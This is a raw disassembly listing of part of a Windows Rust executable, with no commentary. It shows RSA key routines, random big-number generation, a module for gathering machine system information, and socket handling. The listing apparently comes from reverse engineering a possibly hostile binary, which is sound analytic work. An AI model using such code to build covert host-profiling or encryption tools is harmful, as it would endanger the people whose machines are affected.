mov rax, qword [rbp + 0x8138]
mov qword [rsi], rax
mov rax, qword [rbp + 0x8140]
mov qword [rsi + 8], rax
movups xmm0, xmmword [rbp + 0x8158]
movaps xmmword [rsi + 0x20], xmm0
movaps xmm0, xmmword [rbp + 0x8100]
movaps xmm1, xmmword [rbp + 0x8110]
movaps xmm2, xmmword [rbp + 0x8120]
movaps xmmword [rsi + 0x30], xmm0
movaps xmmword [rsi + 0x40], xmm1
movaps xmmword [rsi + 0x50], xmm2
push 0xc
pop rcx
lea rdi, [rbp - 0x40]
rep movsq qword [rdi], qword [rsi]
lea r15, [rbp + 0x20]
movups xmm0, xmmword [rbp + 0x8240]
movups xmm1, xmmword [rbp + 0x8250]
movups xmm2, xmmword [rbp + 0x8260]
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
movups xmm0, xmmword [rbp + 0x8208]
movups xmmword [r15 + 0xe0], xmm0
mov rdx, qword [rbp + 0x8218]
mov qword [r15 + 0xf0], rdx
mov qword [r15 + 0x30], 2
mov rcx, qword [r15 + 0xe8]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
xor r8d, r8d
call fcn.14002f7e7
mov rdi, rax
lea rbx, [rbp + 0x6070]
mov rcx, rbx
call fcn.140038051
lea r14, [rbp + 0x4050]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.14002be2d
lea rcx, [rbp + 0x8280]
mov rdx, r15
mov r8, r14
call fcn.140038585
mov rcx, qword [r15 + 0xe8]
mov rdx, qword [r15 + 0xf0]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
push 1
pop rsi
mov r8, rsi
call fcn.14002f7e7
mov rdi, rax
mov rcx, rbx
call fcn.140038051
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.14002be2d
lea rcx, [rbp + 0x82b0]
mov rdx, r15
mov r8, r14
call fcn.140038585
mov rcx, qword [r15 + 0xe8]
mov rdx, qword [r15 + 0xf0]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
mov qword [rbp + 0x8648], rsi
mov r8, rsi
call fcn.14002f7e7
lea rdi, [rbp + 0x4050]
mov rcx, rdi
mov rdx, rax
call fcn.1400057eb
mov rcx, qword [r15 + 0xe8]
mov rdx, qword [r15 + 0xf0]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
xor r8d, r8d
call fcn.14002f7e7
mov rcx, rbx
mov rdx, rdi
mov r8, rax
call fcn.140031179
cmp dword [rbx], 2
je 0x14000c808
lea rdi, [rbp + 0x6070]
mov rax, qword [rdi + 0x30]
mov qword [rbp + 0x8580], rax
movdqu xmm0, xmmword [rdi]
movdqu xmm1, xmmword [rdi + 0x10]
movdqu xmm2, xmmword [rdi + 0x20]
movdqa xmmword [rbp + 0x8570], xmm2
movdqa xmmword [rbp + 0x8560], xmm1
movdqa xmmword [rbp + 0x8550], xmm0
mov rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x110]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
xor r8d, r8d
call fcn.14002f7e7
mov rbx, rax
mov rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x110]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
push 1
pop r8
call fcn.14002f7e7
lea rcx, [rbp + 0x82f0]
mov rdx, rbx
mov r8, rax
call fcn.1400027e2
mov rdx, qword [rbp + 0x110]
add rdx, 0xfffffffffffffffe
mov rcx, rdi
call fcn.1400380ac
cmp qword [rdi], 0
mov rcx, qword [rdi + 8]
jne 0x140012af3
mov r13, qword [rbp + 0x6080]
mov qword [rbp + 0x8370], rcx
mov qword [rbp + 0x8378], r13
and qword [rbp + 0x8380], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 1
jbe 0x140013499
lea rax, [rbp + 0x50]
mov r14, qword [rax + 0xb8]
add r14, 0x60
imul rsi, rdx, 0x30
add rsi, 0xffffffffffffffa0
xor ebx, ebx
test rsi, rsi
je 0x14000c710
mov rcx, rdi
call fcn.140038051
lea r15, [rbp + 0x4050]
mov rcx, r15
mov rdx, r14
mov r8, rdi
call fcn.14002be2d
mov rcx, rdi
lea rdx, [rbp + 0x20]
mov r8, r15
call fcn.140038585
mov rax, qword [rbp + 0x6098]
cmp rax, 5
jb 0x14000c3c8
mov rax, qword [rbp + 0x6078]
cmp rax, 1
mov al, 2
sbb al, 0
mov byte [rbp + 0x8520], al
movups xmm0, xmmword [rbp + 0x6070]
movups xmm1, xmmword [rbp + 0x6080]
movups xmm2, xmmword [rbp + 0x6090]
movaps xmmword [rbp + 0x84f0], xmm0
movaps xmmword [rbp + 0x8500], xmm1
movaps xmmword [rbp + 0x8510], xmm2
mov rcx, rdi
lea rdx, [rbp + 0x82f0]
call fcn.1400057eb
mov rax, qword [rbp + 0x6098]
cmp rax, 5
jb 0x14000c423
mov rax, qword [rbp + 0x6078]
cmp rax, 1
mov al, 2
sbb al, 0
mov byte [rbp + 0x85d0], al
movups xmm0, xmmword [rbp + 0x6070]
movups xmm1, xmmword [rbp + 0x6080]
movups xmm2, xmmword [rbp + 0x6090]
movaps xmmword [rbp + 0x85a0], xmm0
movaps xmmword [rbp + 0x85b0], xmm1
movaps xmmword [rbp + 0x85c0], xmm2
lea r15, [rbp + 0x8390]
mov rcx, r15
lea rdx, [rbp + 0x82f0]
call fcn.1400057eb
mov rcx, rdi
mov rdx, r15
mov r8, r14
call fcn.140031179
cmp dword [rbp + 0x6070], 2
je 0x14000c7cc
mov rax, qword [rbp + 0x60a0]
mov qword [rbp + 0x4080], rax
movups xmm0, xmmword [rbp + 0x6070]
movups xmm1, xmmword [rbp + 0x6080]
movups xmm2, xmmword [rbp + 0x6090]
movaps xmmword [rbp + 0x4070], xmm2
movaps xmmword [rbp + 0x4060], xmm1
movaps xmmword [rbp + 0x4050], xmm0
movzx eax, al
cmp eax, 1
je 0x14000c4ea
cmp eax, 2
jne 0x140012648
lea rcx, [rbp + 0x6070]
lea rdx, [rbp + 0x4050]
call fcn.1400057eb
jmp 0x14000c4f2
mov rcx, rdi
call fcn.140005fb8
mov rdi, qword [rbp + 0x6070]
mov r12, qword [rbp + 0x6078]
lea rax, [rbp + 0x6078]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rbp + 0x8330], xmm0
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x8340], rax
mov r15, qword [rbp + 0x6098]
cmp rdi, 2
je 0x140012648
mov qword [rbp + 0x86a0], rsi
mov rax, qword [rbp + 0x8340]
mov qword [rbp + 0x8450], rax
movaps xmm0, xmmword [rbp + 0x8330]
movaps xmmword [rbp + 0x8440], xmm0
cmp r15, 5
mov rax, r15
cmovae rax, r12
cmp rax, 1
mov sil, 2
sbb sil, 0
movaps xmm0, xmmword [rbp + 0x84f0]
movaps xmm1, xmmword [rbp + 0x8500]
movaps xmm2, xmmword [rbp + 0x8510]
movaps xmmword [rbp + 0x8480], xmm0
movaps xmmword [rbp + 0x8490], xmm1
movaps xmmword [rbp + 0x84a0], xmm2
mov rax, qword [rbp + 0x8520]
mov qword [rbp + 0x84b0], rax
movaps xmm0, xmmword [rbp + 0x85a0]
movaps xmm1, xmmword [rbp + 0x85b0]
movaps xmm2, xmmword [rbp + 0x85c0]
movaps xmmword [rbp + 0x83e0], xmm0
movaps xmmword [rbp + 0x83f0], xmm1
movaps xmmword [rbp + 0x8400], xmm2
mov rax, qword [rbp + 0x85d0]
mov qword [rbp + 0x8410], rax
lea rcx, [rbp + 0x4050]
call fcn.14002a34c
lea rcx, [rbp + 0x82f0]
mov rdx, r14
call fcn.14003859f
cmp rbx, qword [rbp + 0x8370]
jne 0x14000c615
lea rcx, [rbp + 0x8370]
call fcn.14003811f
mov r13, qword [rbp + 0x8378]
mov rbx, qword [rbp + 0x8380]
add r14, 0x30
imul rax, rbx, 0xa8
mov rcx, qword [rbp + 0x84b0]
mov qword [r13 + rax + 0x30], rcx
movaps xmm0, xmmword [rbp + 0x8480]
movaps xmm1, xmmword [rbp + 0x8490]
movaps xmm2, xmmword [rbp + 0x84a0]
movups xmmword [r13 + rax + 0x20], xmm2
movups xmmword [r13 + rax + 0x10], xmm1
movups xmmword [r13 + rax], xmm0
mov qword [r13 + rax + 0x38], rdi
mov qword [r13 + rax + 0x40], r12
movaps xmm0, xmmword [rbp + 0x8440]
movups xmmword [r13 + rax + 0x48], xmm0
mov rcx, qword [rbp + 0x8450]
mov qword [r13 + rax + 0x58], rcx
mov qword [r13 + rax + 0x60], r15
mov byte [r13 + rax + 0x68], sil
movdqa xmm0, xmmword [rbp + 0x83e0]
movdqa xmm1, xmmword [rbp + 0x83f0]
movdqa xmm2, xmmword [rbp + 0x8400]
movdqu xmmword [r13 + rax + 0x70], xmm0
movdqu xmmword [r13 + rax + 0x80], xmm1
movdqu xmmword [r13 + rax + 0x90], xmm2
mov rcx, qword [rbp + 0x8410]
mov qword [r13 + rax + 0xa0], rcx
mov rbx, qword [rbp + 0x8380]
inc rbx
mov qword [rbp + 0x8380], rbx
mov rsi, qword [rbp + 0x86a0]
add rsi, 0xffffffffffffffd0
lea rdi, [rbp + 0x6070]
jmp 0x14000c37f
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rbp + 0x86a0]
xor r8d, r8d
mov r9, r12
call fcn.140057150
jmp case.0x14000675c.2
mov rax, qword [rbp + 0x8380]
lea rsi, [rbp + 0x6070]
mov qword [rsi + 0xa8], rax
movups xmm0, xmmword [rbp + 0x8370]
movups xmmword [rsi + 0x98], xmm0
movups xmm0, xmmword [rbp + 0x8280]
movups xmm1, xmmword [rbp + 0x8290]
movups xmm2, xmmword [rbp + 0x82a0]
movaps xmmword [rsi], xmm0
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi + 0x20], xmm2
movups xmm0, xmmword [rbp + 0x82b0]
movups xmm1, xmmword [rbp + 0x82c0]
movups xmm2, xmmword [rbp + 0x82d0]
movaps xmmword [rsi + 0x30], xmm0
movaps xmmword [rsi + 0x40], xmm1
movaps xmmword [rsi + 0x50], xmm2
mov rax, qword [rbp + 0x8580]
mov qword [rsi + 0x90], rax
movaps xmm0, xmmword [rbp + 0x8550]
movaps xmm1, xmmword [rbp + 0x8560]
movaps xmm2, xmmword [rbp + 0x8570]
movaps xmmword [rsi + 0x80], xmm2
movaps xmmword [rsi + 0x70], xmm1
movaps xmmword [rsi + 0x60], xmm0
lea rdi, [rbp + 0x50]
mov rcx, rdi
call fcn.140038248
mov r8d, 0xb0
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x82f0]
jmp 0x14000c81b
lea rcx, [rbp + 0x85a0]
call fcn.14002a34c
lea rcx, [rbp + 0x84f0]
call fcn.14002a34c
lea rcx, [rbp + 0x8370]
call fcn.14003828e
lea rcx, [rbp + 0x82f0]
call fcn.14002a34c
lea rcx, [rbp + 0x8550]
call fcn.14002a34c
lea rcx, [rbp + 0x82b0]
call fcn.14002a34c
lea rcx, [rbp + 0x8280]
call fcn.14002a34c
lea rdx, [rbp + 0x10]
mov rsi, qword [rdx - 0x50]
mov r14, qword [rdx - 0x48]
mov rbx, qword [rdx - 0x40]
movups xmm0, xmmword [rdx - 0x38]
movaps xmmword [rbp + 0x84f0], xmm0
movups xmm0, xmmword [rdx - 0x28]
movaps xmmword [rbp + 0x8500], xmm0
movups xmm0, xmmword [rdx - 0x18]
movaps xmmword [rbp + 0x8510], xmm0
mov rax, qword [rdx - 8]
mov qword [rbp + 0x8520], rax
lea rcx, [rbp + 0x4050]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x80c0]
call fcn.14002a34c
cmp rsi, 2
je 0x140012b8e
lea rcx, [rbp + 0x60c0]
mov qword [rcx - 0x50], rsi
mov qword [rcx - 0x48], r14
mov qword [rcx - 0x40], rbx
movdqa xmm0, xmmword [rbp + 0x84f0]
movdqa xmm1, xmmword [rbp + 0x8500]
movdqa xmm2, xmmword [rbp + 0x8510]
movdqu xmmword [rcx - 0x38], xmm0
movdqu xmmword [rcx - 0x28], xmm1
movdqu xmmword [rcx - 0x18], xmm2
mov rax, qword [rbp + 0x8520]
mov qword [rcx - 8], rax
lea rdx, [rbp + 0x4050]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [rbp + 0x118]
lea rdi, [rbp + 0x6070]
mov rcx, rsi
mov rdx, rdi
call fcn.1400057eb
lea rdx, [rbp + 0x60a0]
lea rcx, [rbp + 0x148]
call fcn.1400057eb
lea rbx, [rbp - 0x40]
mov r8d, 0x158
mov rcx, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x8590]
call fcn.140034414
lea rcx, [rbp + 0x60d0]
mov r8d, 0x158
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
push 0xc
pop rcx
rep movsq qword [rdi], qword [rsi]
mov rdi, qword [rbp + 0x80f0]
mov rcx, rdi
call fcn.1400469d0
mov rsi, rdx
test rax, rax
jne 0x140012be9
mov rcx, rdi
call fcn.1400469d0
test rax, rax
jne 0x140012bfc
lea rcx, [rbp - 0x40]
mov qword [rcx + 0x218], rsi
mov qword [rcx + 0x220], rdx
lea rdx, [rbp + 0x6070]
mov r8d, 0x1b8
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [rbp + 0x178]
mov qword [rsi], 2
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
cmp qword [rbp + 0x8220], 0
je 0x14000c9c0
lea rcx, [rbp + 0x8228]
call fcn.1400184fc
lea rcx, [rbp + 0x83e0]
mov rdx, rsi
call fcn.140005741
lea rcx, [rbp + 0x8480]
lea rdx, [rbp - 0x40]
call fcn.1400055fc
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x84f0]
call fcn.1400055fc
lea rsi, [rbp + 0x80]
lea rcx, [rbp + 0x8390]
mov rdx, rsi
call fcn.1400057eb
mov rdi, qword [rsi + 0xe8]
mov r13, qword [rsi + 0xf0]
lea rsi, [rbp + 0x6070]
mov rcx, rsi
mov rdx, r13
call fcn.14002a799
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x140012af3
mov r15, qword [rsi + 0x10]
imul rbx, r13, 0x30
xor r14d, r14d
mov qword [rbp + 0x8680], rcx
mov r12, rcx
sub r12, 1
jb 0x14000ca91
cmp rbx, r14
je 0x14000ca91
lea rdx, [rdi + r14]
mov rcx, rsi
call fcn.1400057eb
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
movdqu xmm2, xmmword [rbp + 0x6090]
movdqu xmmword [r15 + r14 + 0x20], xmm2
movdqu xmmword [r15 + r14 + 0x10], xmm1
movdqu xmmword [r15 + r14], xmm0
add r14, 0x30
jmp 0x14000ca48
cmp dword [rbp + 0xb0], 2
je 0x14000cc80
mov qword [rbp + 0x8698], r13
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x6070]
call fcn.1400057eb
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x60a0]
call fcn.1400057eb
lea rsi, [rbp + 0x110]
lea rcx, [rbp + 0x60d0]
mov rdx, rsi
call fcn.14000577a
mov rdi, qword [rsi + 0x40]
mov rsi, qword [rsi + 0x48]
lea rbx, [rbp + 0x4050]
mov rcx, rbx
mov rdx, rsi
call fcn.1400380ac
cmp qword [rbx], 0
mov rcx, qword [rbx + 8]
jne 0x140012a54
lea rax, [rbp + 0x4088]
mov rax, qword [rax - 0x28]
mov qword [rbp + 0x86a0], rax
mov qword [rbp + 0x8690], rsi
imul rax, rsi, 0xa8
mov qword [rbp + 0x8660], rax
xor r14d, r14d
mov qword [rbp + 0x8678], rcx
mov rsi, rcx
mov r12d, 0xa8
sub rsi, 1
jb 0x14000cc2b
cmp qword [rbp + 0x8660], r14
je 0x14000cc2b
lea r13, [rdi + r12]
mov rax, qword [rbp + 0x86a0]
lea rbx, [rax + r14]
lea rcx, [rbp + 0x8550]
mov rdx, rdi
call fcn.14000577a
lea rdx, [rdi + 0x38]
lea rcx, [rbp + 0x85a0]
call fcn.14000577a
add rdi, 0x70
lea rcx, [rbp + 0x40c0]
mov rdx, rdi
call fcn.14000577a
mov rax, qword [rbp + 0x8580]
mov qword [rbp + 0x4080], rax
movups xmm0, xmmword [rbp + 0x8550]
movups xmm1, xmmword [rbp + 0x8560]
movups xmm2, xmmword [rbp + 0x8570]
movaps xmmword [rbp + 0x4070], xmm2
movaps xmmword [rbp + 0x4060], xmm1
movaps xmmword [rbp + 0x4050], xmm0
mov rax, qword [rbp + 0x85d0]
lea rcx, [rbp + 0x4088]
mov qword [rcx + 0x30], rax
movdqu xmm0, xmmword [rbp + 0x85a0]
movdqu xmm1, xmmword [rbp + 0x85b0]
movdqu xmm2, xmmword [rbp + 0x85c0]
movdqu xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov r8d, 0xa8
mov rcx, rbx
lea rdx, [rbp + 0x4050]
call sub.VCRUNTIME140.dll_memcpy
add r14, r12
mov rdi, r13
jmp 0x14000cb43
lea rdx, [rbp + 0x6078]
mov rax, qword [rbp + 0x8678]
mov qword [rdx + 0x90], rax
mov rax, qword [rbp + 0x86a0]
mov qword [rdx + 0x98], rax
mov rax, qword [rbp + 0x8690]
mov qword [rdx + 0xa0], rax
mov rax, qword [rdx - 8]
mov qword [rbp + 0x8170], rax
lea rcx, [rbp + 0x4050]
mov r8d, 0xa8
call sub.VCRUNTIME140.dll_memcpy
mov r13, qword [rbp + 0x8698]
push 0xc
pop r12
lea rdx, [rbp + 0x85a0]
lea rsi, [rbp + 0x84f0]
mov rcx, r12
mov rdi, rdx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rbp + 0x8390]
movdqu xmm1, xmmword [rbp + 0x83a0]
movdqu xmm2, xmmword [rbp + 0x83b0]
movdqu xmmword [rdx + 0x80], xmm2
movdqu xmmword [rdx + 0x70], xmm1
movups xmmword [rdx + 0x60], xmm0
lea rbx, [rbp + 0x6228]
lea rsi, [rbp + 0x83e0]
mov rcx, r12
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
lea r14, [rbp + 0x6070]
lea rsi, [rbp + 0x8480]
mov rcx, r12
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
lea rsi, [rbp + 0x60d0]
mov r8d, 0x90
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x8170]
mov qword [rsi + 0x90], rax
lea rcx, [rbp + 0x6168]
lea rdx, [rbp + 0x4050]
mov r8d, 0xa8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x8680]
mov qword [rbx - 0x18], rax
mov qword [rbx - 0x10], r15
mov qword [rbx - 8], r13
lea rsi, [rbp + 0x80c0]
mov rcx, rsi
mov rdx, r14
call fcn.140037dfe
lea rdx, [rbp + 0x60a0]
lea rcx, [rbp + 0x8138]
call fcn.140037dfe
mov r15, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rbp + 0x4050]
mov rcx, rsi
mov rdx, r15
call fcn.140028b42
mov ecx, dword [rsi]
cmp ecx, 2
jne 0x140012c0f
mov bl, byte [rsi + 8]
movups xmm0, xmmword [rsi + 9]
movaps xmmword [rbp + 0x8390], xmm0
mov rax, qword [rsi + 0x18]
mov qword [rbp + 0x839f], rax
mov r13, qword [rbp + 0x8140]
mov r8, qword [rbp + 0x8148]
mov rcx, rsi
mov rdx, r13
call fcn.140028b42
mov eax, dword [rsi]
cmp eax, 2
jne 0x140012d05
mov al, byte [rsi + 8]
movups xmm0, xmmword [rsi + 9]
movaps xmmword [rbp + 0x8550], xmm0
mov rcx, qword [rsi + 0x18]
mov qword [rbp + 0x855f], rcx
lea rdx, [rbp + 0x84f0]
mov byte [rdx + 0x18], al
movaps xmm0, xmmword [rbp + 0x8550]
movups xmmword [rdx + 0x19], xmm0
mov rax, qword [rbp + 0x855f]
mov qword [rdx + 0x28], rax
mov byte [rdx], bl
movdqa xmm0, xmmword [rbp + 0x8390]
movdqu xmmword [rdx + 1], xmm0
mov rax, qword [rbp + 0x839f]
mov qword [rdx + 0x10], rax
and qword [rbp + 0x83e0], 0
mov qword [rbp + 0x83e8], 1
and qword [rbp + 0x83f0], 0
mov rcx, rsi
call fcn.1400332ea
cmp dword [rsi], 2
jne 0x14000ce56
mov edx, dword [rbp + 0x4054]
lea rcx, [rbp + 0x85a0]
call fcn.140029130
jmp 0x14000ce94
mov rax, qword [rbp + 0x4080]
mov qword [rbp + 0x85d0], rax
movdqu xmm0, xmmword [rbp + 0x4050]
movdqu xmm1, xmmword [rbp + 0x4060]
movdqu xmm2, xmmword [rbp + 0x4070]
movdqa xmmword [rbp + 0x85c0], xmm2
movdqa xmmword [rbp + 0x85b0], xmm1
movdqa xmmword [rbp + 0x85a0], xmm0
mov eax, dword [rbp + 0x85a0]
mov ebx, dword [rbp + 0x85a4]
movabs rcx, 0xffffffff00000000
mov qword [rbp + 0x8640], rcx
cmp eax, 2
jne 0x140012e10
lea rsi, [rbp + 0x83e0]
mov rcx, rsi
mov rdx, rbx
call fcn.140031ecf
mov rcx, rsi
mov rdx, rbx
call fcn.140031e94
mov rdi, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov qword [rbp + 0x8480], rdi
mov qword [rbp + 0x8488], r14
mov byte [rbp + 0x8494], 0
and dword [rbp + 0x8490], 0
lea rsi, [rbp + 0x4050]
lea rdx, [rbp + 0x84f0]
mov rcx, rsi
call fcn.1400332ea
mov eax, dword [rsi]
mov edx, dword [rsi + 4]
cmp eax, 2
mov qword [rbp + 0x8648], rdi
jne 0x140012e82
lea rsi, [rbp + 0x85a0]
push 9
pop r8
lea r9, [rbp + 0x8480]
mov rcx, rsi
call fcn.140033e69
mov eax, dword [rsi]
cmp eax, 2
jne 0x140012eef
lea rsi, [rbp + 0x4050]
lea rdx, [rbp + 0x84f0]
lea r8, [rbp + 0x8480]
mov rcx, rsi
call fcn.140032e28
mov eax, dword [rsi]
cmp eax, 2
jne 0x140012a60
lea rdx, [rbp + 0x8508]
lea r8, [rbp + 0x8480]
mov rcx, rsi
call fcn.140032e28
mov eax, dword [rsi]
cmp eax, 2
jne 0x140012a60
mov eax, dword [rbp + 0x8490]
cmp byte [rbp + 0x8494], 0
jne 0x140012fac
cmp qword [rbp + 0x8488], rax
jb 0x140012fb3
cmp ebx, eax
jne 0x14001300f
cmp ebx, 0x10000000
jae 0x14001303c
mov r12, qword [rbp + 0x83e0]
cmp r14, 0xfffffff
ja 0x140013054
lea rax, [r14*8]
mov rcx, rdi
shr rcx, 0x20
mov edx, edi
shr edx, 8
lea rbx, [rbp + 0x4078]
mov byte [rbx - 0x28], dil
mov r9, r14
mov r8d, edi
shr r8d, 0x18
mov byte [rbx - 0x25], r8b
mov word [rbx - 0x27], dx
mov dword [rbx - 0x24], ecx
mov qword [rbx - 0x20], r14
mov dword [rbx - 0x18], r9d
mov qword [rbx - 0x10], rax
mov byte [rbx - 8], 0
lea rsi, [0x1400672f0]
push 9
pop rcx
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
and qword [rbp + 0x8240], 0
mov qword [rbp + 0x8248], 1
and qword [rbp + 0x8250], 0
lea rsi, [rbp + 0x85a0]
lea rdx, [rbp + 0x4050]
mov rcx, rsi
call fcn.140037c50
cmp dword [rsi], 2
jne 0x14000d07a
mov edx, dword [rbp + 0x85a4]
lea rcx, [rbp + 0x84f0]
call fcn.140029130
jmp 0x14000d0b8
mov rax, qword [rbp + 0x85d0]
mov qword [rbp + 0x8520], rax
movdqu xmm0, xmmword [rbp + 0x85a0]
movdqu xmm1, xmmword [rbp + 0x85b0]
movdqu xmm2, xmmword [rbp + 0x85c0]
movdqa xmmword [rbp + 0x8510], xmm2
movdqa xmmword [rbp + 0x8500], xmm1
movdqa xmmword [rbp + 0x84f0], xmm0
mov qword [rbp + 0x8690], r12
mov qword [rbp + 0x8660], r15
mov eax, dword [rbp + 0x84f0]
mov edi, dword [rbp + 0x84f4]
mov qword [rbp + 0x8658], rax
cmp eax, 2
mov qword [rbp + 0x8680], rdi
mov qword [rbp + 0x8698], r13
jne 0x14000d348
lea rsi, [rbp + 0x8240]
mov rcx, rsi
mov rdx, rdi
call fcn.140031ecf
mov rcx, rsi
mov rdx, rdi
call fcn.140031e94
mov r14, qword [rsi + 8]
mov rdi, qword [rsi + 0x10]
mov qword [rbp + 0x8330], r14
mov qword [rbp + 0x8338], rdi
mov byte [rbp + 0x8344], 0
and dword [rbp + 0x8340], 0
lea rsi, [rbp + 0x85a0]
lea rdx, [rbp + 0x4050]
mov rcx, rsi
call fcn.140037c50
mov eax, dword [rsi]
mov edx, dword [rsi + 4]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x14000d394
lea rsi, [rbp + 0x84f0]
push 9
pop r8
lea r9, [rbp + 0x8330]
mov rcx, rsi
call fcn.140033e69
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x14000d3dc
lea rsi, [rbp + 0x85a0]
mov rcx, rsi
mov rdx, rbx
call fcn.1400340bc
mov ecx, dword [rsi]
mov eax, dword [rsi + 4]
mov qword [rbp + 0x8658], rcx
cmp ecx, 2
jne 0x14000d431
lea rsi, [rbp + 0x84f0]
push 9
pop r8
lea r9, [rbp + 0x8330]
mov rcx, rsi
mov edx, eax
call fcn.140033e69
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x14000dab6
lea rsi, [rbp + 0x85a0]
mov rcx, rsi
mov rdx, rbx
call fcn.14002923d
mov eax, dword [rsi]
mov edx, dword [rsi + 4]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x14000d536
lea rsi, [rbp + 0x84f0]
push 5
pop r8
lea r9, [rbp + 0x8330]
mov rcx, rsi
call fcn.140033e69
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x14000d615
mov rcx, rbx
call fcn.14001b734
mov r9, rdx
lea rsi, [rbp + 0x8480]
lea rdx, [rbp + 0x8330]
mov rcx, rsi
mov r8, rax
call fcn.140029075
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x14000d651
cmp byte [rbp + 0x40b8], 0x17
jne 0x14000d906
mov edx, dword [rbp + 0x4060]
lea rsi, [rbp + 0x85a0]
mov rcx, rsi
call fcn.14002906a
mov eax, dword [rsi]
mov edx, dword [rsi + 4]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x14000d9be
lea rsi, [rbp + 0x84f0]
push 2
pop r8
lea r9, [rbp + 0x8330]
mov rcx, rsi
call fcn.140033e69
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x140011c70
mov r8b, byte [rbp + 0x4070]
lea rsi, [rbp + 0x85a0]
lea rdx, [rbp + 0x8330]
mov rcx, rsi
call fcn.140029110
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x140011d03
mov r8, qword [rbp + 0x4050]
mov r9, qword [rbp + 0x4058]
lea rsi, [rbp + 0x8480]
lea rdx, [rbp + 0x8330]
mov rcx, rsi
call fcn.140029075
mov eax, dword [rsi]
mov qword [rbp + 0x8658], rax
cmp eax, 2
jne 0x140011d4c
mov ecx, dword [rbp + 0x8340]
cmp byte [rbp + 0x8344], 0
je 0x140011ea3
push 1
jmp 0x140011eb2
mov r12, qword [rbp + 0x84f8]
mov rcx, qword [rbp + 0x8500]
mov r15, qword [rbp + 0x8508]
movdqa xmm0, xmmword [rbp + 0x8510]
movdqa xmmword [rbp + 0x8440], xmm0
mov rax, qword [rbp + 0x8520]
mov qword [rbp + 0x8450], rax
mov rax, rcx
movabs rdx, 0xffffffff00000000
and rax, rdx
push 1
pop r14
jmp 0x14000db4d
mov eax, dword [rbp + 0x85a8]
mov r12d, dword [rbp + 0x85ac]
mov rcx, qword [rbp + 0x85b0]
mov r15, qword [rbp + 0x85b8]
movups xmm0, xmmword [rbp + 0x85c0]
movaps xmmword [rbp + 0x8280], xmm0
mov r8, qword [rbp + 0x85d0]
mov qword [rbp + 0x8290], r8
jmp 0x14000db11
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140057000
mov rdx, qword [rbp + 0x84f4]
mov r12d, dword [rbp + 0x84fc]
mov rcx, qword [rbp + 0x8500]
mov r15, qword [rbp + 0x8508]
movups xmm0, xmmword [rbp + 0x8510]
movaps xmmword [rbp + 0x8280], xmm0
mov rax, qword [rbp + 0x8520]
mov qword [rbp + 0x8290], rax
jmp 0x14000db0a
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140057000
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057000
movzx ecx, byte [rbp + 0x85aa]
shl ecx, 0x10
movzx edx, word [rbp + 0x85a8]
or edx, ecx
mov r12d, dword [rbp + 0x85ac]
mov rcx, qword [rbp + 0x85b0]
mov r15, qword [rbp + 0x85b8]
movups xmm0, xmmword [rbp + 0x85c0]
movaps xmmword [rbp + 0x8550], xmm0
mov r8, qword [rbp + 0x85d0]
mov qword [rbp + 0x8560], r8
movzx r8d, byte [rbp + 0x85ab]
